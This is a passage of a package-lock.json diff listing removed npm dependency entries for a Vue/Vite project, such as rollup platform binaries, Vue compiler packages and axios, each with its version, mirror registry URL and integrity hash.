"node_modules/@parcel/watcher-win32-arm64": { - "version": "2.5.6", - "resolved": "https://registry.npmmirror.com/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.6.tgz", - "integrity": "sha512-3ukyebjc6eGlw9yRt678DxVF7rjXatWiHvTXqphZLvo7aC5NdEgFufVwjFfY51ijYEWpXbqF5jtrK275z52D4Q==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-win32-ia32": { - "version": "2.5.6", - "resolved": "https://registry.npmmirror.com/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.6.tgz", - "integrity": "sha512-k35yLp1ZMwwee3Ez/pxBi5cf4AoBKYXj00CZ80jUz5h8prpiaQsiRPKQMxoLstNuqe2vR4RNPEAEcjEFzhEz/g==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@parcel/watcher-win32-x64": { - "version": "2.5.6", - "resolved": "https://registry.npmmirror.com/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.6.tgz", - "integrity": "sha512-hbQlYcCq5dlAX9Qx+kFb0FHue6vbjlf0FrNzSKdYK2APUf7tGfGxQCk2ihEREmbR6ZMc0MVAD5RIX/41gpUzTw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, - "node_modules/@popperjs/core": { - "name": "@sxzz/popperjs-es", - "version": "2.11.8", - "resolved": "https://registry.npmmirror.com/@sxzz/popperjs-es/-/popperjs-es-2.11.8.tgz", - "integrity": "sha512-wOwESXvvED3S8xBmcPWHs2dUuzrE4XiZeFu7e1hROIJkm02a49N120pmOXxY33sBb6hArItm5W5tcg1cBtV+HQ==", - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/popperjs" - } - }, - "node_modules/@rollup/pluginutils": { - "version": "5.3.0", - "resolved": "https://registry.npmmirror.com/@rollup/pluginutils/-/pluginutils-5.3.0.tgz", - "integrity": "sha512-5EdhGZtnu3V88ces7s53hhfK5KSASnJZv8Lulpc04cWO3REESroJXg73DFsOmgbU2BhwV0E20bu2IDZb3VKW4Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "^1.0.0", - "estree-walker": "^2.0.2", - "picomatch": "^4.0.2" - }, - "engines": { - "node": ">=14.0.0" - }, - "peerDependencies": { - "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0" - }, - "peerDependenciesMeta": { - "rollup": { - "optional": true - } - } - }, - "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.57.1.tgz", - "integrity": "sha512-A6ehUVSiSaaliTxai040ZpZ2zTevHYbvu/lDoeAteHI8QnaosIzm4qwtezfRg1jOYaUmnzLX1AOD6Z+UJjtifg==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-android-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.57.1.tgz", - "integrity": "sha512-dQaAddCY9YgkFHZcFNS/606Exo8vcLHwArFZ7vxXq4rigo2bb494/xKMMwRRQW6ug7Js6yXmBZhSBRuBvCCQ3w==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.57.1.tgz", - "integrity": "sha512-crNPrwJOrRxagUYeMn/DZwqN88SDmwaJ8Cvi/TN1HnWBU7GwknckyosC2gd0IqYRsHDEnXf328o9/HC6OkPgOg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.57.1.tgz", - "integrity": "sha512-Ji8g8ChVbKrhFtig5QBV7iMaJrGtpHelkB3lsaKzadFBe58gmjfGXAOfI5FV0lYMH8wiqsxKQ1C9B0YTRXVy4w==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.57.1.tgz", - "integrity": "sha512-R+/WwhsjmwodAcz65guCGFRkMb4gKWTcIeLy60JJQbXrJ97BOXHxnkPFrP+YwFlaS0m+uWJTstrUA9o+UchFug==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.57.1.tgz", - "integrity": "sha512-IEQTCHeiTOnAUC3IDQdzRAGj3jOAYNr9kBguI7MQAAZK3caezRrg0GxAb6Hchg4lxdZEI5Oq3iov/w/hnFWY9Q==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.57.1.tgz", - "integrity": "sha512-F8sWbhZ7tyuEfsmOxwc2giKDQzN3+kuBLPwwZGyVkLlKGdV1nvnNwYD0fKQ8+XS6hp9nY7B+ZeK01EBUE7aHaw==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.57.1.tgz", - "integrity": "sha512-rGfNUfn0GIeXtBP1wL5MnzSj98+PZe/AXaGBCRmT0ts80lU5CATYGxXukeTX39XBKsxzFpEeK+Mrp9faXOlmrw==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.57.1.tgz", - "integrity": "sha512-MMtej3YHWeg/0klK2Qodf3yrNzz6CGjo2UntLvk2RSPlhzgLvYEB3frRvbEF2wRKh1Z2fDIg9KRPe1fawv7C+g==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.57.1.tgz", - "integrity": "sha512-1a/qhaaOXhqXGpMFMET9VqwZakkljWHLmZOX48R0I/YLbhdxr1m4gtG1Hq7++VhVUmf+L3sTAf9op4JlhQ5u1Q==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.57.1.tgz", - "integrity": "sha512-QWO6RQTZ/cqYtJMtxhkRkidoNGXc7ERPbZN7dVW5SdURuLeVU7lwKMpo18XdcmpWYd0qsP1bwKPf7DNSUinhvA==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.57.1.tgz", - "integrity": "sha512-xpObYIf+8gprgWaPP32xiN5RVTi/s5FCR+XMXSKmhfoJjrpRAjCuuqQXyxUa/eJTdAE6eJ+KDKaoEqjZQxh3Gw==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.57.1.tgz", - "integrity": "sha512-4BrCgrpZo4hvzMDKRqEaW1zeecScDCR+2nZ86ATLhAoJ5FQ+lbHVD3ttKe74/c7tNT9c6F2viwB3ufwp01Oh2w==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.57.1.tgz", - "integrity": "sha512-NOlUuzesGauESAyEYFSe3QTUguL+lvrN1HtwEEsU2rOwdUDeTMJdO5dUYl/2hKf9jWydJrO9OL/XSSf65R5+Xw==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.57.1.tgz", - "integrity": "sha512-ptA88htVp0AwUUqhVghwDIKlvJMD/fmL/wrQj99PRHFRAG6Z5nbWoWG4o81Nt9FT+IuqUQi+L31ZKAFeJ5Is+A==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.57.1.tgz", - "integrity": "sha512-S51t7aMMTNdmAMPpBg7OOsTdn4tySRQvklmL3RpDRyknk87+Sp3xaumlatU+ppQ+5raY7sSTcC2beGgvhENfuw==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.57.1.tgz", - "integrity": "sha512-Bl00OFnVFkL82FHbEqy3k5CUCKH6OEJL54KCyx2oqsmZnFTR8IoNqBF+mjQVcRCT5sB6yOvK8A37LNm/kPJiZg==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.57.1.tgz", - "integrity": "sha512-ABca4ceT4N+Tv/GtotnWAeXZUZuM/9AQyCyKYyKnpk4yoA7QIAuBt6Hkgpw8kActYlew2mvckXkvx0FfoInnLg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.57.1.tgz", - "integrity": "sha512-HFps0JeGtuOR2convgRRkHCekD7j+gdAuXM+/i6kGzQtFhlCtQkpwtNzkNj6QhCDp7DRJ7+qC/1Vg2jt5iSOFw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-openbsd-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.57.1.tgz", - "integrity": "sha512-H+hXEv9gdVQuDTgnqD+SQffoWoc0Of59AStSzTEj/feWTBAnSfSD3+Dql1ZruJQxmykT/JVY0dE8Ka7z0DH1hw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ] - }, - "node_modules/@rollup/rollup-openharmony-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.57.1.tgz", - "integrity": "sha512-4wYoDpNg6o/oPximyc/NG+mYUejZrCU2q+2w6YZqrAs2UcNUChIZXjtafAiiZSUc7On8v5NyNj34Kzj/Ltk6dQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ] - }, - "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.57.1.tgz", - "integrity": "sha512-O54mtsV/6LW3P8qdTcamQmuC990HDfR71lo44oZMZlXU4tzLrbvTii87Ni9opq60ds0YzuAlEr/GNwuNluZyMQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.57.1.tgz", - "integrity": "sha512-P3dLS+IerxCT/7D2q2FYcRdWRl22dNbrbBEtxdWhXrfIMPP9lQhb5h4Du04mdl5Woq05jVCDPCMF7Ub0NAjIew==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.57.1.tgz", - "integrity": "sha512-VMBH2eOOaKGtIJYleXsi2B8CPVADrh+TyNxJ4mWPnKfLB/DBUmzW+5m1xUrcwWoMfSLagIRpjUFeW5CO5hyciQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmmirror.com/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.57.1.tgz", - "integrity": "sha512-mxRFDdHIWRxg3UfIIAwCm6NzvxG0jDX/wBN6KsQFTvKFqqg9vTrWUE68qEjHt19A5wwx5X5aUi2zuZT7YR0jrA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@types/estree": { - "version": "1.0.8", - "resolved": "https://registry.npmmirror.com/@types/estree/-/estree-1.0.8.tgz", - "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/lodash": { - "version": "4.17.23", - "resolved": "https://registry.npmmirror.com/@types/lodash/-/lodash-4.17.23.tgz", - "integrity": "sha512-RDvF6wTulMPjrNdCoYRC8gNR880JNGT8uB+REUpC2Ns4pRqQJhGz90wh7rgdXDPpCczF3VGktDuFGVnz8zP7HA==", - "license": "MIT" - }, - "node_modules/@types/lodash-es": { - "version": "4.17.12", - "resolved": "https://registry.npmmirror.com/@types/lodash-es/-/lodash-es-4.17.12.tgz", - "integrity": "sha512-0NgftHUcV4v34VhXm8QBSftKVXtbkBG3ViCjs6+eJ5a6y6Mi/jiFGPc1sC7QK+9BFhWrURE3EOggmWaSxL9OzQ==", - "license": "MIT", - "dependencies": { - "@types/lodash": "*" - } - }, - "node_modules/@types/web-bluetooth": { - "version": "0.0.20", - "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.20.tgz", - "integrity": "sha512-g9gZnnXVq7gM7v3tJCWV/qw7w+KeOlSHAhgF9RytFyifW6AF61hdT2ucrYhPq9hLs5JIryeupHV3qGk95dH9ow==", - "license": "MIT" - }, - "node_modules/@vitejs/plugin-vue": { - "version": "5.2.4", - "resolved": "https://registry.npmmirror.com/@vitejs/plugin-vue/-/plugin-vue-5.2.4.tgz", - "integrity": "sha512-7Yx/SXSOcQq5HiiV3orevHUFn+pmMB4cgbEkDYgnkUWb0WfeQ/wa2yFv6D5ICiCQOVpjA7vYDXrC7AGO8yjDHA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.0.0 || >=20.0.0" - }, - "peerDependencies": { - "vite": "^5.0.0 || ^6.0.0", - "vue": "^3.2.25" - } - }, - "node_modules/@volar/language-core": { - "version": "2.4.15", - "resolved": "https://registry.npmmirror.com/@volar/language-core/-/language-core-2.4.15.tgz", - "integrity": "sha512-3VHw+QZU0ZG9IuQmzT68IyN4hZNd9GchGPhbD9+pa8CVv7rnoOZwo7T8weIbrRmihqy3ATpdfXFnqRrfPVK6CA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@volar/source-map": "2.4.15" - } - }, - "node_modules/@volar/source-map": { - "version": "2.4.15", - "resolved": "https://registry.npmmirror.com/@volar/source-map/-/source-map-2.4.15.tgz", - "integrity": "sha512-CPbMWlUN6hVZJYGcU/GSoHu4EnCHiLaXI9n8c9la6RaI9W5JHX+NqG+GSQcB0JdC2FIBLdZJwGsfKyBB71VlTg==", - "dev": true, - "license": "MIT" - }, - "node_modules/@volar/typescript": { - "version": "2.4.15", - "resolved": "https://registry.npmmirror.com/@volar/typescript/-/typescript-2.4.15.tgz", - "integrity": "sha512-2aZ8i0cqPGjXb4BhkMsPYDkkuc2ZQ6yOpqwAuNwUoncELqoy5fRgOQtLR9gB0g902iS0NAkvpIzs27geVyVdPg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@volar/language-core": "2.4.15", - "path-browserify": "^1.0.1", - "vscode-uri": "^3.0.8" - } - }, - "node_modules/@vue/compiler-core": { - "version": "3.5.28", - "resolved": "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.5.28.tgz", - "integrity": "sha512-kviccYxTgoE8n6OCw96BNdYlBg2GOWfBuOW4Vqwrt7mSKWKwFVvI8egdTltqRgITGPsTFYtKYfxIG8ptX2PJHQ==", - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.29.0", - "@vue/shared": "3.5.28", - "entities": "^7.0.1", - "estree-walker": "^2.0.2", - "source-map-js": "^1.2.1" - } - }, - "node_modules/@vue/compiler-dom": { - "version": "3.5.28", - "resolved": "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.5.28.tgz", - "integrity": "sha512-/1ZepxAb159jKR1btkefDP+J2xuWL5V3WtleRmxaT+K2Aqiek/Ab/+Ebrw2pPj0sdHO8ViAyyJWfhXXOP/+LQA==", - "license": "MIT", - "dependencies": { - "@vue/compiler-core": "3.5.28", - "@vue/shared": "3.5.28" - } - }, - "node_modules/@vue/compiler-sfc": { - "version": "3.5.28", - "resolved": "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.5.28.tgz", - "integrity": "sha512-6TnKMiNkd6u6VeVDhZn/07KhEZuBSn43Wd2No5zaP5s3xm8IqFTHBj84HJah4UepSUJTro5SoqqlOY22FKY96g==", - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.29.0", - "@vue/compiler-core": "3.5.28", - "@vue/compiler-dom": "3.5.28", - "@vue/compiler-ssr": "3.5.28", - "@vue/shared": "3.5.28", - "estree-walker": "^2.0.2", - "magic-string": "^0.30.21", - "postcss": "^8.5.6", - "source-map-js": "^1.2.1" - } - }, - "node_modules/@vue/compiler-ssr": { - "version": "3.5.28", - "resolved": "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.5.28.tgz", - "integrity": "sha512-JCq//9w1qmC6UGLWJX7RXzrGpKkroubey/ZFqTpvEIDJEKGgntuDMqkuWiZvzTzTA5h2qZvFBFHY7fAAa9475g==", - "license": "MIT", - "dependencies": { - "@vue/compiler-dom": "3.5.28", - "@vue/shared": "3.5.28" - } - }, - "node_modules/@vue/compiler-vue2": { - "version": "2.7.16", - "resolved": "https://registry.npmmirror.com/@vue/compiler-vue2/-/compiler-vue2-2.7.16.tgz", - "integrity": "sha512-qYC3Psj9S/mfu9uVi5WvNZIzq+xnXMhOwbTFKKDD7b1lhpnn71jXSFdTQ+WsIEk0ONCd7VV2IMm7ONl6tbQ86A==", - "dev": true, - "license": "MIT", - "dependencies": { - "de-indent": "^1.0.2", - "he": "^1.2.0" - } - }, - "node_modules/@vue/devtools-api": { - "version": "6.6.4", - "resolved": "https://registry.npmmirror.com/@vue/devtools-api/-/devtools-api-6.6.4.tgz", - "integrity": "sha512-sGhTPMuXqZ1rVOk32RylztWkfXTRhuS7vgAKv0zjqk8gbsHkJ7xfFf+jbySxt7tWObEJwyKaHMikV/WGDiQm8g==", - "license": "MIT" - }, - "node_modules/@vue/language-core": { - "version": "2.2.12", - "resolved": "https://registry.npmmirror.com/@vue/language-core/-/language-core-2.2.12.tgz", - "integrity": "sha512-IsGljWbKGU1MZpBPN+BvPAdr55YPkj2nB/TBNGNC32Vy2qLG25DYu/NBN2vNtZqdRbTRjaoYrahLrToim2NanA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@volar/language-core": "2.4.15", - "@vue/compiler-dom": "^3.5.0", - "@vue/compiler-vue2": "^2.7.16", - "@vue/shared": "^3.5.0", - "alien-signals": "^1.0.3", - "minimatch": "^9.0.3", - "muggle-string": "^0.4.1", - "path-browserify": "^1.0.1" - }, - "peerDependencies": { - "typescript": "*" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/@vue/reactivity": { - "version": "3.5.28", - "resolved": "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.5.28.tgz", - "integrity": "sha512-gr5hEsxvn+RNyu9/9o1WtdYdwDjg5FgjUSBEkZWqgTKlo/fvwZ2+8W6AfKsc9YN2k/+iHYdS9vZYAhpi10kNaw==", - "license": "MIT", - "dependencies": { - "@vue/shared": "3.5.28" - } - }, - "node_modules/@vue/runtime-core": { - "version": "3.5.28", - "resolved": "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.5.28.tgz", - "integrity": "sha512-POVHTdbgnrBBIpnbYU4y7pOMNlPn2QVxVzkvEA2pEgvzbelQq4ZOUxbp2oiyo+BOtiYlm8Q44wShHJoBvDPAjQ==", - "license": "MIT", - "dependencies": { - "@vue/reactivity": "3.5.28", - "@vue/shared": "3.5.28" - } - }, - "node_modules/@vue/runtime-dom": { - "version": "3.5.28", - "resolved": "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.5.28.tgz", - "integrity": "sha512-4SXxSF8SXYMuhAIkT+eBRqOkWEfPu6nhccrzrkioA6l0boiq7sp18HCOov9qWJA5HML61kW8p/cB4MmBiG9dSA==", - "license": "MIT", - "dependencies": { - "@vue/reactivity": "3.5.28", - "@vue/runtime-core": "3.5.28", - "@vue/shared": "3.5.28", - "csstype": "^3.2.3" - } - }, - "node_modules/@vue/server-renderer": { - "version": "3.5.28", - "resolved": "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.5.28.tgz", - "integrity": "sha512-pf+5ECKGj8fX95bNincbzJ6yp6nyzuLDhYZCeFxUNp8EBrQpPpQaLX3nNCp49+UbgbPun3CeVE+5CXVV1Xydfg==", - "license": "MIT", - "dependencies": { - "@vue/compiler-ssr": "3.5.28", - "@vue/shared": "3.5.28" - }, - "peerDependencies": { - "vue": "3.5.28" - } - }, - "node_modules/@vue/shared": { - "version": "3.5.28", - "resolved": "https://registry.npmmirror.com/@vue/shared/-/shared-3.5.28.tgz", - "integrity": "sha512-cfWa1fCGBxrvaHRhvV3Is0MgmrbSCxYTXCSCau2I0a1Xw1N1pHAvkWCiXPRAqjvToILvguNyEwjevUqAuBQWvQ==", - "license": "MIT" - }, - "node_modules/@vue/tsconfig": { - "version": "0.5.1", - "resolved": "https://registry.npmmirror.com/@vue/tsconfig/-/tsconfig-0.5.1.tgz", - "integrity": "sha512-VcZK7MvpjuTPx2w6blwnwZAu5/LgBUtejFOi3pPGQFXQN5Ela03FUtd2Qtg4yWGGissVL0dr6Ro1LfOFh+PCuQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/@vueuse/core": { - "version": "10.11.1", - "resolved": "https://registry.npmmirror.com/@vueuse/core/-/core-10.11.1.tgz", - "integrity": "sha512-guoy26JQktXPcz+0n3GukWIy/JDNKti9v6VEMu6kV2sYBsWuGiTU8OWdg+ADfUbHg3/3DlqySDe7JmdHrktiww==", - "license": "MIT", - "dependencies": { - "@types/web-bluetooth": "^0.0.20", - "@vueuse/metadata": "10.11.1", - "@vueuse/shared": "10.11.1", - "vue-demi": ">=0.14.8" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/@vueuse/metadata": { - "version": "10.11.1", - "resolved": "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-10.11.1.tgz", - "integrity": "sha512-IGa5FXd003Ug1qAZmyE8wF3sJ81xGLSqTqtQ6jaVfkeZ4i5kS2mwQF61yhVqojRnenVew5PldLyRgvdl4YYuSw==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/@vueuse/shared": { - "version": "10.11.1", - "resolved": "https://registry.npmmirror.com/@vueuse/shared/-/shared-10.11.1.tgz", - "integrity": "sha512-LHpC8711VFZlDaYUXEBbFBCQ7GS3dVU9mjOhhMhXP6txTV4EhYQg/KGnQuvt/sPAtoUKq7VVUnL6mVtFoL42sA==", - "license": "MIT", - "dependencies": { - "vue-demi": ">=0.14.8" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/acorn": { - "version": "8.15.0", - "resolved": "https://registry.npmmirror.com/acorn/-/acorn-8.15.0.tgz", - "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", - "dev": true, - "license": "MIT", - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/alien-signals": { - "version": "1.0.13", - "resolved": "https://registry.npmmirror.com/alien-signals/-/alien-signals-1.0.13.tgz", - "integrity": "sha512-OGj9yyTnJEttvzhTUWuscOvtqxq5vrhF7vL9oS0xJ2mK0ItPYP1/y+vCFebfxoEyAz0++1AIwJ5CMr+Fk3nDmg==", - "dev": true, - "license": "MIT" - }, - "node_modules/anymatch": { - "version": "3.1.3", - "resolved": "https://registry.npmmirror.com/anymatch/-/anymatch-3.1.3.tgz", - "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", - "dev": true, - "license": "ISC", - "dependencies": { - "normalize-path": "^3.0.0", - "picomatch": "^2.0.4" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/anymatch/node_modules/picomatch": { - "version": "2.3.1", - "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", - "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/async-validator": { - "version": "4.2.5", - "resolved": "https://registry.npmmirror.com/async-validator/-/async-validator-4.2.5.tgz", - "integrity": "sha512-7HhHjtERjqlNbZtqNqy2rckN/SpOOlmDliet+lP7k+eKZEjPk3DgyeU9lIXLdeLz0uBbbVp+9Qdow9wJWgwwfg==", - "license": "MIT" - }, - "node_modules/asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmmirror.com/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", - "license": "MIT" - }, - "node_modules/axios": { - "version": "1.13.5", - "resolved": "https://registry.npmmirror.com/axios/-/axios-1.13.5.tgz", - "integrity": "sha512-cz4ur7Vb0xS4/KUN0tPWe44eqxrIu31me+fbang3ijiNscE129POzipJJA6zniq2C/Z6sJCjMimjS8Lc/GAs8Q==", - "license": "MIT", - "dependencies": { - "follow-redirects": "^1.15.11", - "form-data": "^4.0.5", - "proxy-from-env": "^1.1.0" - } - }, - "node_modules/balanced-match": { - "version": "1.0.2", - "resolved": 